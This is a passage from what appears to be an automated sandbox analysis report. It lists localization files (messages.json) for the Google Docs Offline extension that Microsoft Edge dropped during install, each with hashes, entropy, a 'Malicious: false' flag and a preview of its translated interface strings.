Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
